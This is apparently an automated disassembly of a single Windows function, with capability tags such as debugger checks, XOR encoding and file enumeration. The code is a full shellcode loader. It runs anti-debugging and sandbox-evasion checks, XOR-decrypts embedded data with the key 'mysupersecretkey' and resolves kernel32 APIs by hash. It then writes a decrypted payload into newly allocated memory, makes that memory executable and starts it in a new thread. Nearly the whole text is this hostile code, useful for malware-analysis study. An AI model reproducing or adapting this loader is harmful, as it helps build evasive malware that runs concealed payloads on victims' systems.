Function at 0x140001160
Capabilities:
Check for peb ntglobalflag flag
Encode data using xor
Enumerate files on windows
Get common file path
Get memory capacity
Get system information on windows
Terminate process

Disassembly:
push rbx
push rdi
sub rsp, 0x318
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x300], rax
lea rax, [rsp + 0x30]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001bb1
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1400011e0
lea rcx, str.attached_debugger_detected_:__n
call fcn.140001010
mov eax, 0xfffffffe
mov rcx, qword [rsp + 0x300]
xor rcx, rsp
call fcn.140001bd0
add rsp, 0x318
pop rdi
pop rbx
ret
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0xa0], 2
jb 0x140001ba5
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x48]
shr rax, 0x1e
cmp eax, 2
jb 0x140001ba5
mov rax, qword gs:[0x60]
test byte [rax + 0xbc], 0x70
jne 0x140001ba5
lea rax, [rsp + 0x1f0]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rdx, [rsp + 0xb0]
xor ebx, ebx
lea rcx, [rsp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400012a3
test byte [rsp + 0xb0], 0x10
lea ecx, [rbx + 1]
lea rdx, [rsp + 0xb0]
cmovbe ecx, ebx
mov ebx, ecx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140001275
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
test ebx, ebx
je 0x140001bb1
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1400012cd
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rsp + 0x330], rbp
lea rax, [0x140005059]
mov qword [rsp + 0x338], rsi
xor edx, edx
mov qword [rsp + 0x340], r13
xor r10d, r10d
mov qword [rsp + 0x348], r14
lea r13, str.mysupersecretkey
mov qword [rsp + 0x310], r15
mov dword [rsp + 0x38], 0
xor r8d, r8d
cmp edx, 0x10
cmovne r8d, edx
xor edx, edx
movsxd rcx, r8d
movzx ecx, byte [rcx + r13]
xor byte [rax - 1], cl
lea ecx, [r8 + 1]
cmp r8d, 0xf
cmovne edx, ecx
xor r8d, r8d
movsxd rcx, edx
movzx ecx, byte [rcx + r13]
xor byte [rax], cl
lea ecx, [rdx + 1]
cmp edx, 0xf
cmovne r8d, ecx
xor edx, edx
movsxd rcx, r8d
movzx ecx, byte [rcx + r13]
xor byte [rax + 1], cl
lea ecx, [r8 + 1]
cmp r8d, 0xf
cmovne edx, ecx
xor r8d, r8d
movsxd rcx, edx
movzx ecx, byte [rcx + r13]
xor byte [rax + 2], cl
lea ecx, [rdx + 1]
cmp edx, 0xf
cmovne r8d, ecx
xor edx, edx
movsxd rcx, r8d
movzx ecx, byte [rcx + r13]
xor byte [rax + 3], cl
lea ecx, [r8 + 1]
cmp r8d, 0xf
cmovne edx, ecx
xor r8d, r8d
movsxd rcx, edx
movzx ecx, byte [rcx + r13]
xor byte [rax + 4], cl
lea ecx, [rdx + 1]
cmp edx, 0xf
cmovne r8d, ecx
xor edx, edx
movsxd rcx, r8d
movzx ecx, byte [rcx + r13]
xor byte [rax + 5], cl
lea ecx, [r8 + 1]
cmp r8d, 0xf
cmovne edx, ecx
xor r8d, r8d
movsxd rcx, edx
movzx ecx, byte [rcx + r13]
xor byte [rax + 6], cl
lea ecx, [rdx + 1]
cmp edx, 0xf
cmovne r8d, ecx
xor edx, edx
movsxd rcx, r8d
movzx ecx, byte [rcx + r13]
xor byte [rax + 7], cl
lea ecx, [r8 + 1]
cmp r8d, 0xf
cmovne edx, ecx
xor r8d, r8d
movsxd rcx, edx
movzx ecx, byte [rcx + r13]
xor byte [rax + 8], cl
lea ecx, [rdx + 1]
cmp edx, 0xf
cmovne r8d, ecx
xor r9d, r9d
movsxd rcx, r8d
movzx ecx, byte [rcx + r13]
xor byte [rax + 9], cl
lea ecx, [r8 + 1]
cmp r8d, 0xf
cmovne r9d, ecx
movsxd rcx, r9d
movzx ecx, byte [rcx + r13]
xor edx, edx
xor byte [rax + 0xa], cl
lea rax, [rax + 0xd]
cmp r9d, 0xf
lea ecx, [r9 + 1]
cmovne edx, ecx
add r10d, 0xd
movsxd rcx, edx
movzx ecx, byte [rcx + r13]
xor byte [rax - 2], cl
inc edx
cmp r10d, 0xd
jb 0x140001310
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov edx, 0x3283c47
mov rbx, rax
call fcn.140001070
mov edx, 0x964f1ef
mov rcx, rbx
mov rdi, rax
call fcn.140001070
mov edx, 0x1c6a5211
mov rcx, rbx
mov rsi, rax
call fcn.140001070
mov edx, 0x2f726bf
mov rcx, rbx
mov rbp, rax
call fcn.140001070
mov edx, 0xaf757dae
mov rcx, rbx
mov r14, rax
call fcn.140001070
xor ecx, ecx
mov edx, 0x1cc
mov r8d, 0x3000
mov r15, rax
lea r9d, [rcx + 4]
call rdi
xor r9d, r9d
lea r8, [0x1400050a0]
xor ecx, ecx
mov rbx, rax
nop dword [rax]
xor edx, edx
lea r8, [r8 + 1]
cmp rcx, 0x10
cmovne rdx, rcx
inc r9d
movzx ecx, byte [rdx + r13]
xor byte [r8 - 1], cl
lea rcx, [rdx + 1]
cmp r9d, 0x1cc
jb 0x1400014e0
xor ecx, ecx
lea r8, [0x140005271]
xor r9d, r9d
xor edx, edx
cmp ecx, 0x10
cmovne edx, ecx
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r8 - 1], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r8], al
lea eax, [rcx + 1]
cmp ecx, 0xf
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r8 + 1], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r8 + 2], al
lea eax, [rcx + 1]
cmp ecx, 0xf
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r8 + 3], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r8 + 4], al
lea eax, [rcx + 1]
cmp ecx, 0xf
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r8 + 5], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r8 + 6], al
lea eax, [rcx + 1]
cmp ecx, 0xf
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r8 + 7], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r8 + 8], al
lea eax, [rcx + 1]
cmp ecx, 0xf
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r8 + 9], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor edx, edx
xor byte [r8 + 0xa], al
lea r8, [r8 + 0xe]
cmp ecx, 0xf
lea eax, [rcx + 1]
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r8 - 3], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
add r9d, 0xe
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r8 - 2], al
inc ecx
cmp r9d, 0xe
jb 0x140001513
mov r8d, 0x1cc
lea rdx, [0x1400050a0]
mov rcx, rbx
call rsi
mov rsi, qword [rsp + 0x338]
lea r9, [0x140005091]
xor ecx, ecx
xor r10d, r10d
nop dword [rax + rax]
xor edx, edx
cmp ecx, 0x10
cmovne edx, ecx
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r9 - 1], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r9], al
lea eax, [rcx + 1]
cmp ecx, 0xf
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r9 + 1], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r9 + 2], al
lea eax, [rcx + 1]
cmp ecx, 0xf
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r9 + 3], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r9 + 4], al
lea eax, [rcx + 1]
cmp ecx, 0xf
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r9 + 5], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r9 + 6], al
lea eax, [rcx + 1]
cmp ecx, 0xf
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r9 + 7], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r9 + 8], al
lea eax, [rcx + 1]
cmp ecx, 0xf
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r9 + 9], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor edx, edx
xor byte [r9 + 0xa], al
lea r9, [r9 + 0xf]
cmp ecx, 0xf
lea eax, [rcx + 1]
cmovne edx, eax
xor r8d, r8d
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r9 - 4], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne r8d, eax
xor ecx, ecx
movsxd rax, r8d
movzx eax, byte [rax + r13]
xor byte [r9 - 3], al
lea eax, [r8 + 1]
cmp r8d, 0xf
cmovne ecx, eax
add r10d, 0xf
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r9 - 2], al
inc ecx
cmp r10d, 0xf
jb 0x140001690
xor ecx, ecx
lea r9, [0x140005081]
xor r10d, r10d
nop dword [rax]
xor edx, edx
cmp ecx, 0x10
cmovne edx, ecx
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r9 - 1], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r9], al
lea eax, [rcx + 1]
cmp ecx, 0xf
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r9 + 1], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r9 + 2], al
lea eax, [rcx + 1]
cmp ecx, 0xf
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r9 + 3], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r9 + 4], al
lea eax, [rcx + 1]
cmp ecx, 0xf
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r9 + 5], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r9 + 6], al
lea eax, [rcx + 1]
cmp ecx, 0xf
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r9 + 7], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r9 + 8], al
lea eax, [rcx + 1]
cmp ecx, 0xf
cmovne edx, eax
xor r8d, r8d
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r9 + 9], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne r8d, eax
movsxd rax, r8d
movzx eax, byte [rax + r13]
xor ecx, ecx
xor byte [r9 + 0xa], al
lea r9, [r9 + 0xd]
cmp r8d, 0xf
lea eax, [r8 + 1]
cmovne ecx, eax
add r10d, 0xd
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r9 - 2], al
inc ecx
cmp r10d, 0xd
jb 0x140001810
xor ecx, ecx
lea r8, [0x140005069]
xor r9d, r9d
nop dword [rax + rax]
xor edx, edx
cmp ecx, 0x10
cmovne edx, ecx
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r8 - 1], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r8], al
lea eax, [rcx + 1]
cmp ecx, 0xf
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r8 + 1], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r8 + 2], al
lea eax, [rcx + 1]
cmp ecx, 0xf
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r8 + 3], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r8 + 4], al
lea eax, [rcx + 1]
cmp ecx, 0xf
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r8 + 5], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r8 + 6], al
lea eax, [rcx + 1]
cmp ecx, 0xf
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r8 + 7], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r8 + 8], al
lea eax, [rcx + 1]
cmp ecx, 0xf
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r8 + 9], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor edx, edx
xor byte [r8 + 0xa], al
lea r8, [r8 + 0x14]
cmp ecx, 0xf
lea eax, [rcx + 1]
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r8 - 9], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r8 - 8], al
lea eax, [rcx + 1]
cmp ecx, 0xf
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r8 - 7], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r8 - 6], al
lea eax, [rcx + 1]
cmp ecx, 0xf
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r8 - 5], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r8 - 4], al
lea eax, [rcx + 1]
cmp ecx, 0xf
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r13]
xor byte [r8 - 3], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
add r9d, 0x14
movsxd rax, ecx
movzx eax, byte [rax + r13]
xor byte [r8 - 2], al
inc ecx
cmp r9d, 0x14
jb 0x140001960
lea r9, [rsp + 0x38]
mov edx, 0x1cc
mov r8d, 0x20
mov rcx, rbx
call rbp
mov r13, qword [rsp + 0x340]
mov rbp, qword [rsp + 0x330]
test eax, eax
je 0x140001b8e
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call r14
mov edx, 0xffffffff
mov rcx, rax
call r15
mov r15, qword [rsp + 0x310]
xor eax, eax
mov r14, qword [rsp + 0x348]
jmp 0x1400011c6
lea rcx, str.possibly_launched_in_sandbox_:__n
jmp 0x1400011bc
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3